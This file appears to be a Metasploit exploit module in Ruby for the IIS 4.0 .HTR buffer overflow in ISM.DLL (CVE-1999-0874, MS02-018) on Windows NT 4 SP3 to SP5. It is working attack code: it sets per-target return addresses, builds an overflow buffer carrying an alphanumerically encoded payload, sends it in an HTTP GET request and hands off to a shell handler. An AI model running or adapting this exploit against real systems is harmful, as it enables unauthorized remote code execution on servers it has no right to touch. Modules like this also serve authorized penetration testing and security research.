76 lines
2.1 KiB
Ruby
76 lines
2.1 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::Iis::MS02_018_HTR < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'IIS 4.0 .HTR Buffer Overflow',
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'Description' => %q{
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This exploits a buffer overflow in the ISAPI ISM.DLL used to
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process HTR scripting in IIS 4.0. This module works against
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Windows NT 4 Service Packs 3, 4, and 5. The server will
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continue to process requests until the payload being
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executed has exited. If you've set EXITFUNC to 'seh', the
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server will continue processing requests, but you will have
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trouble terminating a bind shell. If you set EXITFUNC to
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thread, the server will crash upon exit of the bind shell.
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The payload is alpha-numerically encoded without a NOP sled
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because otherwise the data gets mangled by the filters.
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},
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'Author' => [ 'stinko' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '3325'],
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[ 'BID', '307'],
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[ 'CVE', '1999-0874'],
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[ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
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[ 'MIL', '26'],
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[ 'MSB', 'MS02-018'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 2048,
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'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],
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['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],
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['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],
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],
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'DisclosureDate' => 'Apr 10 2002',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(80)
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], self.class)
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end
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def exploit
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connect
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buf = 'X' * target['Rets'][0]
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buf << [ target['Rets'][1] ].pack('V')
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buf << payload.encoded
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req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"
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print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])
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sock.put(req)
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handler
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disconnect
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end
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end
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end
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